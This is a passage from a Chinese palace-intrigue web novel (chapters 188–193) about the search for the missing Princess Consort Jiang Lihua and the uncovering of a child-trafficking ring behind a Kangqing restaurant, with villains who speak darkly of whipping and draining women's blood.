若他真的起了那种心思的话,那失踪的婳儿,才是真的不能回来了。
御儿若真的只是一个病秧子,那只有一个王妃在身边,她也不会多说什么,只要让婳儿为御儿产下子嗣,他们夫妇愿意如何就如何。
但是现在不同了。
御儿的能力大家有目共睹,几个皇子如今已经废了一个,剩下两个年纪不大,且不堪重用,只有御儿才是最适合做储君的那个。
将来的一国之君,怎么可以只钟情一个女人呢?
那他要如何稳固江山?
如此,婳儿就绝对不可以再回来。
皇后想到这里手指忍不住卷缩了起来,若老天有眼的话,就让那几个丫头就此消失吧,她不要她们死,只要她们从此以后远离京城,再也不要出现!
第188章 她是真失踪还是假失踪
皇后在心底做了决定,起身要去休息,刚起身佩蓉就走过来说佳宁公主过来了。
听到佳宁公主的名字,皇后眼底闪过一丝疑惑,好一会儿了才想起佳宁公主是谁,她蹙眉,“她下山了?”
佩蓉轻轻点头,低声道:“已经去见过皇上了,听说佳宁公主还提起了当年洛家的大火,让陛下好生感叹了一会儿。”
“她是个惯会掌控人心的,当年先皇活着的时候,被她哄得团团转。”皇后眉头微微皱了皱,“当年都说她是最单纯的那个,但其他有心计的公主不是和亲就是被赐死,只有她最受先皇喜爱,不但在京城赐了府邸,还选了洛家那个大家族的嫡子给她当驸马。”
皇后说到这里想到了洛家的结局,忍不住一叹,“可惜了,最后洛家落得那个下场。”
佩蓉听着皇后的感叹,忍不住低声提醒道,“娘娘,人还在外面呢,不好让人久等。”
皇后这才回神让佩蓉去把人带进来。
瞧着从殿外信步走来的女人,皇后有些恍惚,这佳宁公主虽然与皇上一年出生,但瞧着好像比皇上苍老一些了,皇后认真的看着佳宁公主的脸,眉头微微皱起,不过这张布了细纹的脸,为何瞧着这般别扭呢。
半点不见其他中年女人上了年纪那般自然。
就像是故意把脸弄起皱纹的一样。
皇后抬手摸了摸自己的脸,她的眼角有一些细纹,难道和这佳宁公主一样?
佳宁公主瞧着皇后一直在打量自己的脸,眼底闪过一丝不悦,她加快脚步走到皇后面前给皇后行礼,“臣妹见过皇后娘娘。”
随着她走近已经收回心思的皇后笑着站起来,亲自扶着佳宁公主站起来,“你总算是舍得回来了,上山之前明明还是个花容月貌的姑娘,如今都成了这满脸皱纹的模样了。”
皇后一边说一边拉着佳宁公主往红木贵妃师椅旁边走去,“先前你走进来本宫还以为认错了人,差点忘了岁月都已经过去十几年了。”
佳宁公主听了皇后这话,不但没有不开心,反而有些动容地看着皇后道,“这些年多谢皇嫂记挂了。”
皇后:“......”
那倒没有,你没出现的话,我还真把你这号人给忘了。
“你明知本宫和陛下记挂你,却狠心的这么些年都不回京来看看本宫与陛下。”皇后嗔了对方一眼,“母后这些年也时常念叨着你,你如今回来了,就别再上山了,你已经为洛家祈福了那么多年,想来他们一家应该也再世为人了。”
佳宁公主叹气,“早知道御王府会遭遇如此大的变故,臣妹就应该在山上继续祈福,为御王妃和六公主她们祈求平安。”
提起姜黎婳她们,皇后的脸色又变得有些难看,她现在心头很是纠结,她怕御儿真如钦天监所说的那般,与婳儿的命格相契合,只有婳儿的命格与他在一起,才能保他长命百岁,她怕婳儿失踪,让御儿再次遇险...
但是又怕婳儿回来,御儿真的做出那种大逆不道的事情来。
“皇嫂您也别太过于担忧,御王妃...”
“皇后娘娘,御王殿下他出宫了!”外面太监的喊声打断了佳宁公主的话。
皇后闻言也顾不上佳宁公主了,她松开对方的手,急声道:“蕙兰,你先回府,本宫改日再传你进宫叙旧。”
说罢直接抬步朝殿外大步走去。
楚蕙兰站在殿中还能听到皇后焦急的声音从外面传来,“不是让你们守好御王吗?怎么会让他离宫了!”
“奴才们一直守着殿下,明明是看着殿下躺下休息了,但是奴才们不过是一转眼的功夫,殿下就不见了!”
“胡闹!自己是什么身体都不知道了!”皇后的声音又急又怒,“婳儿若是知道他这般不顾自己的身体都要去找她,心头也不会好受的!”
皇后的声音越来越远了...
楚蕙兰看了一眼还站在殿中等着送自己离宫的宫女,她眉梢一挑,抬步大步朝外面走去。
是夜。
在京城大街小巷碍着搜寻了一天的兵马司士兵换了班,他们打起火把又开始挨家挨户寻找,兵马司士兵的火把几乎照亮了半个京城。
城南槐树巷宽大的宅院中。
姜淮邦来来**地在院子中走个不停,脸上的担忧之色半分不减,这时候大门被人推开,数十个人跟在姜斯羽身后进了院子,姜淮邦瞧着姜斯羽等人回来,疾步走过去我
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女儿姜斯羽,“如何了?可有你小妹的消息了?”
满脸疲惫的姜斯羽摇头,“没有,小妹就像从京城消失了一样,根本没有她的半点消息。”
他一边说一边去拿起院中石桌上摆着的茶壶给自己倒了杯凉掉的茶水,一饮而尽后,他才问姜淮邦,“兵马司和太傅府那边有消息了吗?”
姜淮邦摇头,“也没有,我派人一直跟着兵马司的那些人,若有你小妹的消息,他们会第一时间告诉我的。”
姜斯羽想到前两天还见过的活生生的人,这一下子就不见了,他眼睛骤然变得通红,“该死!”
姜淮邦也握紧了拳头,“早知道她回京找到亲生父母后会遭遇这些事情,我当初说什么都不会让她回京的!”
姜斯羽抬手捂着脸,声音沙哑地叹了口气,“永宁伯府那边先前也派人过来说了,他们还是没有找到人。”
姜淮邦有些无力地坐在石凳上,他抬手让管家给那些帮忙找人的人发银子,“明日继续找,无论是死是活,总要把人找到!”
......
除了脸蛋其他地方全是鞭痕的萧景宴此时就穿着亵裤披着一件亵衣站在阁楼的窗户边,瞧着外面那些找人的火光,他眉头微微皱了起来,那个女人就这么**?
真是可惜,他还以为将来可以一品那个女人的滋味呢。
那种绝色的女人身上一定毫无瑕疵,她的皮肉若在自己的皮鞭下绽开花,那一定会非常好看!
他垂眸看了一眼自己身上的鞭痕,眼底闪过疯狂之色,他身上这些花朵绽放在其伺候他的女人身上,定然漂亮百倍!
这时候一直白皙纤弱的手从他的后颈处慢慢地落在了他胸膛的伤口上,温柔缱绻的声音在他身后响起,“萧郎在想什么?”
萧景宴听到她的声音整个人僵了僵,他止不住咽了一下口水,嘴角牵起一抹僵硬牵强的微笑,“没什么?”
“不愿意说?”女人的语气平稳,但是他却可以听出对方生气了。
他今天可不想再被那些皮鞭再抽一次了!
他转身一把搂住对方的腰肢,面上带着如沐春风的笑容,“我就是在想,那个女人是真失踪,还是假失踪。”
第189章 又起失踪案
女人听了萧景宴的话嘴角勾起一抹不在意的笑容,眼底却一片冰冷,她把头贴在萧景宴的胸膛,手指轻轻地在他的鞭痕上抚摸,语气幽幽,“萧郎好像很挂念那个女人?”
萧景宴的呼吸一滞,由于紧张他忍不住咽了咽口水,但是害怕女人发现自己的紧张,他不屑地嗤笑了一声,“在意?我只是觉得让那个女人就这么**太便宜她了!都是因为他们夫妇才让您失去了那些新鲜的血液!我们就应该把她抓回来抽筋扒皮!”
女人好像被萧景宴这句话取悦了,她轻笑了一声推开萧景宴,走到窗户边看着外面明晃晃的火光,轻飘飘地说道:“那太可惜了,你想折磨她的话,得下辈子了。”
萧景宴瞧着女人冷漠的背影,他捏了捏拳头,接着上前一步从后面搂着女人的腰,把下巴放在女人的肩膀上,“那真是便宜她了。”
女人没有抗拒萧景宴的靠近,她拍了拍萧景宴环在她腰间的手,轻笑道:“不仅是她**,楚明月应该也**,还有沈归雁,她们两个是极品美容液,他们身上流淌的血液都是最高贵的,可惜了...”
萧景宴听到了女人话中的暗示,他眼睛一眯,“等我的伤势好一些,我就给您寻觅最好的血液,为您滋补可好?”
女人转身,一只手挑起萧景宴的下巴,“我最喜欢的就是你的识时务,所以这么些年来,我身边来来往往这么多人,只有你才让我如此看重。”
她捏着萧景宴下巴的手拍了拍萧景宴的脸颊,语气带着丝丝笑意,“不枉我用了那么多死士的命来救你。”
“能为您赴汤蹈火是我的福气。”萧景宴说着倾身就要去亲女人的唇,女人皱着眉头避开,她眼底闪过一丝冷光,“脏。”
萧景宴整个人一僵,她玩过那么多男宠,他都没有嫌弃她脏,她竟然...嫌他脏?
女人瞧着萧景宴变得异常难看的脸色,她眉梢一挑,抬步离开阁楼。
萧景宴在原地呆愣了片刻,抬步就朝女人追过去,“是景宴僭越了,求殿下饶恕。”
已经走到楼梯上的女人停下脚步回头看了萧景宴一眼,“知道自己僭越就好,这两日你就在这阁楼上好好养病,没事儿不要随意下来走动了。”
时间一晃就过去了好几日,工部已经开始着手重新修缮御王府了,但是御王妃和六公主还有沈小姐等人依旧没有消息。
不过御王府、太傅府、永宁伯府还有姜家都没有放弃寻找。
而冯家的事情最后由丞相被革去官职冯氏一族被发配宁古塔作为收尾。
朝廷上因为冯家的事情和御王府走水一事吵了好几天,最后皇帝给出了楚御礼一个期限,说若一个月之后还没有找到姜黎婳和楚明月等人的话,就宣布他们的死亡。
朝堂上的众臣因为皇帝这话,心思再次活络了起来,其中包括曾经拥护冯丞相看好二皇子的不少臣子。
如今二皇子被贬为庶民囚禁宗人府,再也没有了可能,御王就是将来最后可能登上大统的人选,而御王妃正好因为御王府的大火,失踪了。
若御王妃一个月之后没有寻回,那御王府当家主母的位置就空出来了,这是不是说明他们的女儿就有机会了?
若是女儿能讨得御王的欢心,他们家族的势力,是不是又能更上一层楼了?
随着皇帝这句话,那些观望着御王妃是否能再出现的臣子,心思也开始发生了改变,他们是不是应该做点什么人,让这个失踪的御王妃,变成已故御王妃?
但在众人心思活络的时候,京城又发生了一起贵族少女失踪案,这次失踪的不应该说是少女,而是女童,报案的是户部尚书府,失踪的是户部尚书儿子翰林院编修关易的嫡亲女儿,现在才刚七岁。
御书房中。
皇帝伸手狠狠地砸了手边的镇纸,他眼神冰冷地看着跪在房中的户部尚书关途,“你们明知道那**魔是疯子,为什么不把孩子看紧一点!”
说着又看向跪在殿中不停哭泣的少妇,厉声呵斥道:“哭哭哭,就知道哭,你若上点心,也不至于孩子失踪了大半天才知道!”
匆忙赶过来的皇后听到皇帝这话,快步从外面走了进来,跪在地上抱着少妇
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,看向皇帝,“陛下,妙儿刚失踪,您就别训斥芊芊了,赶紧派人找吧。”
皇帝听着皇后这话,忍不住抬手揉着眉心,“如何找?我们要如何找?如今已经过去十多天了,御王妃还没有下落,萧景宴也被救走了,京城兵马司的人就只差把京城的地掀开看看了,依旧一点蛛丝马迹都找不到,朕要上哪儿帮他们找孩子?”
孟芊芊听到皇帝这话,哭得更撕心裂肺了,她伏在皇后的怀中,凄厉地哭着道:“娘娘,妾身自从知道少女失踪案之后就寸步不离的守着妙儿的啊,今早妙儿说想睡觉,我便在隔间绣女红守着她,谁知不过是小半个时辰的时间,她就不见了啊!”
“找...给朕挨家挨户的...”
“皇兄...”这时候楚蕙兰从外面走了进来。
皇帝本就心情不好,这时候楚蕙兰进宫无疑是撞在了他的枪口上,看到楚蕙兰的脸,皇帝脸色瞬间阴沉了下去,“你来做什么?”
楚蕙兰看了一眼跪在地上的孟芊芊,叹气道:“母后前两日进宫了,臣妹进宫看望母后,母后听说了户部尚书府上的事情,很担心孟小夫人的情况,所以让臣妹过来帮她老人家瞧瞧。”
孟芊芊听到楚蕙兰这话,跪直身子擦了擦眼泪,轻声道:“多谢姑祖母的关心,芊芊...”
她吸了吸鼻子,忍不住泣声道,“芊芊实在是心头不舒服。”
孟芊芊说着就难受地使劲捶打着胸口,人一个激动差点晕了过去,还好皇后一直拉着她的,不然就真的倒下去了。
关易看到孟芊芊差点倒下去,他连忙过去扶着孟芊芊,低声道:“夫人,你可不能有事,若你有个三长两短,妙儿回来定然会伤心的!”
皇帝瞧着下面这一幕,心头止不住的烦躁,他目光从众人脸上扫过,厉声道:“够了!御王呢?御王怎么还没入宫?”
福清想到自己打听到的消息,有些为难地抿了抿嘴,但还是上前对皇帝轻声道:“自从陛下您定下一个月之期后,御王殿下也不查案了,只顾着找王妃了,今日应该又去找王妃了。”
第190章 我的身份是姜黎婳的丈夫
皇帝听到福清这话,眉头紧紧地皱了起来,“他真的要为了一个女人毁了自己的前程了?你给朕问他,还要不要自己的王位了!”
皇后听到皇帝这话,连忙跪直身子对皇帝道,“陛下,御王前十几年受尽了折磨,若不是御王妃他如今可能连命都没有了,御王妃对他来说如何特别,咱们都一清二楚,如今御王妃生死不知,您难道还不能体谅一下他吗?”
“已经十几日了,他作为楚国的亲王,应该知道该以大局为重!御王妃若活着也不愿意自己回来之后他连自己的王位都作没了!”皇帝面色沉沉的看着皇后,语气低沉,“若是御王妃**,那她在天有灵也希望他将来能有大抱负,而不是自暴自弃!”
皇帝说到这里冷冷地对福清道,“去把人找回来。”
楚蕙兰站在殿中听了皇帝这话,眼角微微抬了抬,她回头看了一眼跪在地上的皇后等人,轻声道:“既然臣妹已经了解了情况,就先回去给母后复命了。”
皇后扶着孟芊芊站起来,她看了一眼面神色似乎比上次见到要好一些的楚蕙兰,轻声道:“母后那边还要麻烦你多宽慰她一些了。”
“都是臣妹应该做的。”楚蕙兰牵着皇后的手低声宽慰皇后,“臣妹知道这些日子皇嫂您遇事很多,为了皇兄和御王,皇嫂您也要保重好身体。”
“本宫会的,你快些去陪母后吧。”
楚蕙兰抬步离开,正好和大步走进来的楚御礼正面对上。
楚御礼看到楚蕙兰,他脚步一顿,接着朝楚蕙兰抬手行礼,“姑姑。”
楚蕙兰上前亲手扶着楚御礼站起来,轻声道:“你可算来了,你父皇都有些生气了,你一会儿进去别和你父皇顶嘴,该服软还是要服软,可知道了?”
“多谢姑姑提醒。”楚御礼深深地看了楚蕙兰一眼,轻声道:“侄儿先进去了。”
楚蕙兰轻轻地点了点头,楚御礼抬步往里走,才刚走了两步,楚蕙兰又喊住他,“御儿。”
楚御礼回头。
楚蕙兰深深地看着楚御礼,“姑姑一直都很喜欢你,你知道的吧?”
楚御礼眉梢微挑,“姑姑?”
楚蕙兰嘴角翘起一抹不易察觉的弧度,轻声道:“姑姑不希望你因为一些毫无头绪的事情,葬送了自己来之不易的一切,若是你真的觉得疲累,就和你父皇说,有些事情你查不出来,也不必执着。”
楚御礼看着楚蕙兰,好一会儿之后他点头,“多谢姑姑的忠告,侄儿铭记于心。”
楚蕙兰听着他这话,眉头一皱,楚御礼却不再理她,转身大步朝里面走去。
这边楚御礼刚走进御书房,皇帝就立刻呵斥道:“你还知道来!”
“陛下!”皇后连忙喊了一声。
皇帝扫了皇后一眼,把目光落在楚御礼脸上,瞧着楚御礼那略微有些苍白的脸色,他最终还是软了语气,“朕不是不准你找御王妃,但你也应该以正事为重!妙儿怎么也算是你半个侄女,你难道想听到她的噩耗吗?”
也许是皇帝这句话让孟芊芊想到女儿会遇到的最坏的境遇,孟芊芊又凄厉地哭出了声音。
楚御礼被孟芊芊那刺耳的哭声弄得眉头紧皱,他往前走了一步,沉声道:“儿臣就是因为此事入府的,关妙已经找到了,儿臣已经让侍卫护送她回府了。”
“找到了?”皇帝坐直了身子。
其他人皆是把目光**在了楚御礼的身上。
楚御礼点头,“儿臣找到她的时候,她已经昏迷了,且她手腕有割伤的痕迹,脸色苍白,儿臣让大夫给她看过了,是失血过多,应该已经被人放过血了,不过性命无忧。”
孟芊芊夫妇和关途听到楚御礼这话,齐齐跪在地上朝楚御礼磕头,关途郑重道:“御王殿下大恩,我们关家没齿难忘!”
楚御礼看了关途一眼,沉声道:“你先别着急谢我。”
又看向皇帝,“父皇,您知道儿臣是在哪儿找到关妙的吗?”
皇帝眼睛微眯,他目光直直地盯着楚御礼,沉声问,“你在哪儿找到的?”
“康庆酒楼。”楚御礼眉梢微挑,“儿臣这些日子在挨家挨户地搜寻王妃的下落,这康庆酒楼昨日儿臣刚找过,按理说儿臣今日应该不会再找过去。”
皇后
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眉头微蹙,眼中闪烁着好奇,嘴上忍不住问楚御礼,“那你为何又忽然又去找了?”
楚御礼侧眸看了皇后一眼,眉梢微挑,“因为儿臣就怕有人将婳儿藏起来,所以故意杀了个回马枪,谁知道今天刚过去就看到这康庆酒楼的掌柜的和小厮正扛着一个布袋子从后门进了后院。”
“康庆酒楼?”皇帝脸色微沉,“人带来了?”
“是。”楚御礼说到这里还好心地解释了一下自己为何把一个酒楼的掌柜的和小厮带进皇宫,“刑部如今就如就是筛子,到处都是漏洞,若把人带进刑部的话,怕是用不了多久人就被灭口或者就走了,所以儿臣现在把人带进宫了。”
“福清。”皇帝看了福清一眼,福清福身,“奴才这就去把人带到慎刑司,让钱大海撬开他们两个人的嘴。”
皇帝没有说话,等福清离开后,他才看着楚御礼,沉声道:“今日是你歪打正着了,不过也算是立了功,但是朕希望你今后还是要把心思放回正事上,若你不找点抓到凶手的话,又如何给御王妃和明月报仇。”
皇后闻言忍不住点头附和,“是啊御儿,婳儿也不希望你成为如今这样子的。”她上前提楚御礼整理他鬓角有些凌乱的头发,低声道:“丽嫔如今整日以泪洗面,你应该振作起来,给婳儿和月儿讨个公道。”
楚御礼的脸色并没有因为皇后这话有什么变化,他淡漠地往后退了一步,看着皇后道:“儿臣自有分寸。”
说罢看向皇帝,“儿臣一日不找到婳儿,儿臣就一日不会承认她**,所以父皇若不收回一月之期的话,那儿臣就一直找下去!查案的事情还请父皇另找他人。”
“楚御礼!”皇帝猛地从龙椅上站起来,“你疯了!你想想你的身份!”
“我是姜黎婳的丈夫!”楚御礼双目骤然变得通红,他往前走了一步,沉声吼道:“我的身份是姜黎婳的丈夫!若不是婳儿,我如今说不定已经是一具死尸了,我当初的毒若不解,是活不过两个月的,我现在的身份都是因为婳儿才有的!你们却在她失踪后没多久就要宣布她**?”
第191章 狐狸尾巴
皇后这么久以来还是第一次见到这么激动的儿子,她两步上前跪在地上对着皇帝道,“陛下,您就收回成命吧!如今御王妃刚失踪不久,于情于理咱们皇家都不应该给出一月之期的!更何况御王妃对御王来说多重要,您也是知道的啊。”
她也不希望能如此影响儿子心绪的姜黎婳能活着回来,自从上次谈话把御儿惹怒之后,她就不敢再提那件事情,如今她就希望姜黎婳不要活着回来,等时间一长,再深的感情,也会变淡的,到时候再慢慢提重娶王妃一事,想来御儿是会答应的。
皇后想到这里看皇帝的目光有一些祈求,她希望皇帝不要再说刺激楚御礼的话了。
皇帝见皇后跪在地上,又看楚御礼一脸的决绝,他狠狠地甩了一下宽大的袖子,厉声道:“好,朕依你,但是你需尽快找到幕后真凶,不可再像之前那样任性了!”
皇帝说到这里抬手揉了揉眉心,一想到这件事情他就觉得自己这些年养了一群酒囊饭袋,一个个只会拿朝廷俸禄,一到关键时刻,一点用都没有!
半个时辰悄然过去。
福清从慎刑司回来的时候,孟芊芊夫妇已经回府看孩子去了,皇后也回了凤仪宫,皇帝要处理政务,楚御礼和关途二人被安置在偏殿喝茶,听到福清回来,关途连忙站起来朝正殿走去,楚御礼则抬眸看了关途的背影一眼,慢条斯理地把杯中的茶喝完了才起身往正殿走去。
正殿中福清正弓着身子给皇帝说慎刑司的审讯结果,皇帝听了之后眉头紧紧地皱了起来,“贩卖孩童?”
“是,康庆酒楼明面上是一家做正经餐食的酒楼,但暗地里还会贩卖一些走丢或者被父母丢掉的孩童,以此来谋得暴利。”福清说到这里忍不住抬头看了一眼皇帝的脸色,见皇帝阴沉,他忍不住求救地看向楚御礼...
这陛下听到这些话都已经很生气了,那他若是知道那康庆酒楼是谁家的产业岂不是会气地摔镇纸了?
想到这里福清用眸光撇了一眼桌案,很好,先前被陛下摔碎的玉镇纸,现在已经换上新的了。
楚御礼瞧着福清那一副闯了鬼的模样,眉梢微挑,“福清公公就说完了?这掌柜的和小厮帮忙买卖孩童,那东家呢?这康庆酒楼平日里人来人往络绎不绝,生意应该不差,他们还用得着赚这种黑心钱?”
皇帝听楚御礼这么说,眼睛眯了眯,接着目光沉沉地看着福清,“怎么回事?这康庆酒楼的东家是谁?”
“是定安伯府。”福清连忙把后面的都交代了,“听说管理酒楼的是定安伯庶出的儿子康耀。”
“康耀?”关途听到这话立刻怒了,他面红耳赤地跪在地上,“陛下,您要为我们家做主啊!今日若不是御王殿下觉得康庆酒楼不对劲的话,我们家唯一的小孙女就要被卖了啊!那种黑心酒楼不能留了啊!”
“康家对这种事情毫不知情吗?”楚御礼似笑非笑地扫了一眼跪在地上的关途,抬眸看向皇帝,“父皇您真的觉得这就是一起普通的孩童贩卖案吗?”
“宣定安伯府关家的人入宫!”皇帝脸色阴沉地把手中的折子丢在一边,厉声道:“传锦衣卫指挥使孔闻立刻封锁康庆酒楼,把茶楼里里外外都给朕搜索一遍,看是否还有被藏在酒楼中的孩童!”
福清立刻马不停蹄地传口谕。
御花园中。
德妃正在一处凉亭中来回踱步,瞧见身边贴身伺候的大宫女走进来,她连忙过去问,“慎刑司那边结果如何?”
大宫女俯身在德妃耳边低语了两句,德妃的脸色几乎立刻变得苍白了下去,手指也紧紧地拽着手中的帕子。
“怎么会这样?”德妃眉头紧紧地皱在一起,嘴里面在呢喃着,“怎么就这么巧,正好被他给看到了?”
大宫女站在一边不敢说话,德妃在座凳楣子上坐着思索了片刻,抬眸看向大宫女,“你去宫门处等着,父亲若进宫了,便告诉他,为了定安伯府,他必须要舍弃那个庶子了。”
大宫女闻言立刻应了一声,疾步离开了御花园。
大宫女刚离开一会儿,十四岁的楚浩泽从一旁的假山中走了出来,瞧德妃脸色苍白,他叹
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气走过去,“事情已经发生了,母妃何须劳神,这酒楼再怎么查也查不到母妃和儿臣头上,您也不必为此感到不安了。”
德妃看着少年老成的儿子,叹气,“但若没了这酒楼,就没有了掩护,将来要做的事情就难多了,更何况她这么些年总共就只交代了我们几件事情,这一个月来两件事情咱们都办砸了,就怕惹她生气。”
德妃说到这里忍不住拉着楚浩泽压低声音道,“你也知道她是个疯子,若是因为这件事情惹了她不高兴,把我们的事情给...”
“母妃,儿臣相信姑姑不是那种人。”楚浩泽嘴角带着浅笑,眼底却一片冰冷。
蠢货,谁知道这附近有没有那个女人的眼线,竟然敢这么明目张胆的骂那个女人是疯子,若让那个女人听到了,也不知道会发生什么样的事情来!
“你们母子在说什么呢?如此神神秘秘的。”一个轻悠悠的女声从假山后面传来。
德妃母子二人朝假山看过去,一袭白衣的楚蕙兰手中捏着一朵娇艳欲滴的玫瑰花从假山后面走了出来。
她漫不经心的垂着眼眸在掰掉玫瑰花上的刺,脚步缓慢地朝德妃母子二人走来,她明明没有恼怒的神情没有厉声质问,但却让德妃忍不住提起了心。
在她踏进凉亭的时候,德妃几乎感觉自己腿软的想要给她跪下去了,她也那样做了,但楚蕙兰却伸手拉住了她的手腕,让她站在自己面前,德妃神色僵硬朝楚蕙兰扯了扯嘴角,“佳宁公主。”
楚蕙兰抬手把玫瑰花插在了德妃的发髻上,这朵娇艳的玫瑰花在扮相寡淡的德妃身上显得非常格格不入,但楚蕙兰却很满意自己的作品,她抬眸望着德妃头上的花,勾唇一笑,“这花的颜色就跟鲜血一样令人眼前一亮,也衬得德妃娘娘神色越发红润了呢。”
德妃整个人被吓得往后退了一步,“今日的事情就是一个巧合。”
“巧合?”楚蕙兰冷笑,“我从不相信什么巧合。”
她眼神冰冷的扫了楚浩泽一眼,“你想让我觉得你们母子真的愚蠢吗?”
第192章 楚御礼的针对
定安伯康彪带着庶出的儿子康耀到御书房就直接压着康彪在地上跪在给皇帝请罪了,康彪自己更是哭得一把鼻涕一把泪地认罪,“陛下,老臣也不知道这不孝子竟然背着我们在暗地里做这种勾当啊!”
“但是事情已经发生了,老臣再怎么认罪也是于事无补的,既然事情是这不孝子做出来的,皇上您要怎么处置这不孝子,老臣都无话可说。”
楚御礼听到这话,嘴角勾起一抹浅淡的弧度,这是要弃卒保帅了?
康耀面无表情地跪在地上听着康彪骂自己,一句话都没有说。
康彪哭诉够了,然后一巴掌打在康耀脸上,厉声骂道,“逆子,你还不认错?是觉得自己没有做错吗?”
康耀侧首看了康彪一眼,嘴角勾起一抹冷漠的弧度,半晌后他伏在地上认罪,“是,一切都是草民的一人所为,草民这些年虽然表面上帮忙管理定安伯府所有的产业,但是所有产业的一分一毫都得如数交公,草民为定安伯府鞠躬尽瘁这么些年却连一点自己的产业都没有,所以草民觉得不公!”
“你不是定安伯府的人吗?定安伯府以后的产业以后还不是你们兄弟二人的!”康彪怒瞪了康耀一眼,恨铁不成钢地骂道,“你又何必做这种伤天害理的事情来?”
康耀冷眼瞧着康彪那一副痛心疾首的表情,他冷笑了一声,“你说错了,定安伯府以后的产业都是你那个嫡长子康城的,我不过是任他使唤的下人罢了,下人也配分你们定安伯府的产业吗?”
他说到这里忽然激动了起来,脖子上的青筋也爆了起来,“若不是你们这些年的差别对待,我何至于剑走偏锋做出这种事情来!”
“说到头来还是我这个当老子的错了?”康彪厉声呵斥道:“你兄长常年不在京城,如今还在驻地守卫国土,你竟然如此...”
“够了。”皇帝蹙眉,“朕不想听你们的家务事。”
他看向康耀,“贩卖了几次孩童?”
康耀垂眸,“第一次。”
皇帝眼睛一眯,眼底带了一丝审视,“第一次?为何会开始这第一次?”
康耀垂眸掩下眼底的苍凉之色,轻声道:“或许是因为看到那个孩子很惹人疼,所以想把她卖了吧。”
“逆子!陛下在问你话,你就这样回答的!”康彪一巴掌扇在康耀脸上,厉声呵斥道:“你也是有妻儿的人,看到那样大的孩童应该帮她找父母,你竟然这般畜生的想要把她给卖了?”
康耀听到康彪这话眉头紧紧地皱了起来,接着他在地上朝着皇帝使劲磕头,“都是草民鬼迷了心窍才做出那种**人怨的事情来,求陛下严惩草民!”
一直站在旁边观察着康耀一举一动的楚御礼忽然轻笑了出声,“不过是一次贩卖孩童?但本王的人可查出了不止这一次,难道是康庆酒楼的人那些下人瞒着你们做的勾当?”
康耀闻言双手忍不住捏了捏,他抬头看了楚御礼一眼,沉声道:“或许是我忘了吧,可能还有很多次。”
“逆子,你还不好好说话!”康彪抬手又给了康耀一巴掌,“我们伯府怎么会出了你这么一个败类!”
康耀本就是文弱书生类型的,而康彪是武将出生,这几巴掌康彪几乎是用了全力,康耀那张原本儒雅英俊的脸现在肿了起来,半点不见先前的儒雅,只剩下难堪和狼狈。
被康彪狠狠地打了这两下,他双手撑着地忽然笑了,带血的口水也顺着流在了地上,他抬眸看向皇帝,沉声道:“陛下,所有的罪都是草民一人犯下来的,陛下要杀要剐草民都没有怨言,只求陛下不要连累草民的家人!”
皇帝眉头紧紧地皱了起来,看着康耀的眼神也逐渐变了。
楚御礼嘴角的那抹浅淡的弧度也消失不见。
就在皇帝要给康耀治罪的时候,昭临忽然被一个小太监带着走了进来,他给皇帝行礼之后,在楚御礼的耳边低语了两句。
楚御礼听了昭临的话眉梢微微一扬,抬手让昭临退出去,待昭临退下后,他垂眸看向康耀,挑眉道:“看来康二爷知道自己会出事,竟然让人连日把妻儿老母送出京城。”
康耀猛地看向康彪。
康彪脸色一变,正要说话,楚御礼就冷冷的率先说道,“这件事情现在还没有定案,本王就先暂时让人把人请到了别处安置,等这个案
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子结束了,康二爷想要把人送到哪儿,本王都满足你。”
康耀听到这句话,忍不住抬头看向康彪,厉声道:“你说过只要我乖乖听话,就会善待他们的!你们要把他们送到哪儿去?”
“我的人找到他们的时候,他们身上伤势不轻呢,就连你那九岁的儿子身上都有不少被责打的痕迹,这是善待?”楚御礼睨了康彪一眼,轻笑,“康二爷是不是被糊弄了。”
“康彪!”康耀猛地朝康彪扑过去,“你答应过我,我只要帮你们顶下罪名,就会善待我姨娘和妻儿的!你骗我!”
“胡说八道,简直是在胡说八道!”康彪一脚踢开康耀,看向皇帝,沉声道:“陛下,这逆子现在得了失心疯了,您快将他处置了吧!”
“他究竟是得了失心疯,还是被威胁了,让他自己说不就行了。”楚御礼凉凉的看了康彪一眼,轻嗤,“定安伯何须这般着急地给他定下罪名和病情呢。”
皇帝冷眼看着被康彪一脚踢到还趴在地上的康耀,又看向楚御礼,眉头紧紧地皱在一起,沉声问,“怎么回事?”
楚御礼上前一步拱手道,“父皇难道还没看出来吗?康二爷这是被人用在意的家人威胁了啊,不过有些人好像不仁不义,更不打算遵守和康二爷的约定,想要等康二爷认下罪名后灭口呢。”
“陛下...”
“定安伯,本王话都没有说完,你着急什么?”楚御礼不悦地扫了一眼还想狡辩的康彪,接着抬头看向皇帝沉声道:“父皇,您不如答应康二爷,护着他的家人,让他说出实话,如何?”
康耀听到楚御礼这话,立刻激动地朝皇帝磕头,“草民什么都交代,求陛下庇佑草民的家人!”
康彪急得红了眼,“逆子,你还想攀咬你的家人不成?”
楚御礼冷冷地睨着康彪,冷笑,“定安伯这是做什么?什么叫攀咬?若有证据呢?”
“御王殿下,我定安伯这些年兢兢业业为朝廷,也从未做过任何对不起朝廷的事情,您为何要如此对我们定安伯府?”康彪面红耳赤地侧首看着楚御礼,厉声问,“难道就因为我是四皇子的外祖父?”
第193章 自尽
如今楚明暄已经被囚禁宗人府,楚巍澜没有争储的心思,且蓝家已经倒了,根本不足为据,三个皇子中唯一能和楚御礼争上一争的就是楚浩泽了。
若定安伯府现在也因为这件事情倒下了,楚浩泽也很可能被皇帝厌弃,那楚御礼就成了最后的赢家。
若皇帝是一个猜忌心强的皇帝,绝对会因为康彪这几句话挑拨,对楚御礼心生忌惮,并且不再追究这件事情。
但现在的皇帝,比起皇子们的心思,他更在意的是少女失踪案背后真正的凶手到底是谁。
皇帝目光沉沉地看着楚御礼,沉声问,“你是不是查到了什么?”
楚御礼看着已经从地上爬起来跪着的康耀,眉梢微挑,“康二爷说不说?”
康彪目光沉沉地看着满身狼狈的康耀,眼底闪过一丝杀意,垂在身侧的手死死地捏在一起,半晌之后他垂下头伏在地上,沉声道:“陛下,这小畜生从小就对臣心有怨怼,现在说出来的话怕是有失偏颇,还请陛下不要听信他一面之词啊。”
站在一旁的楚御礼眉梢一挑,似笑非笑对康耀道,“康二爷,定安伯说的没错,若是你说的那些话拿不出证据来的话,很可能定安伯指定为诬陷,到时候你可能就保不住你的家人了。”
康耀听楚御礼这话慢慢的抬头和楚御礼对视,好半晌后他下定决心地闭了闭眼睛,沉声道:“草民知道,草民有证据,康庆酒楼虽然表面上是草民在管理,但草民不过是一个傀儡,真正管事的其实就是康庆酒楼的掌柜的,那个掌柜的曾经是....”
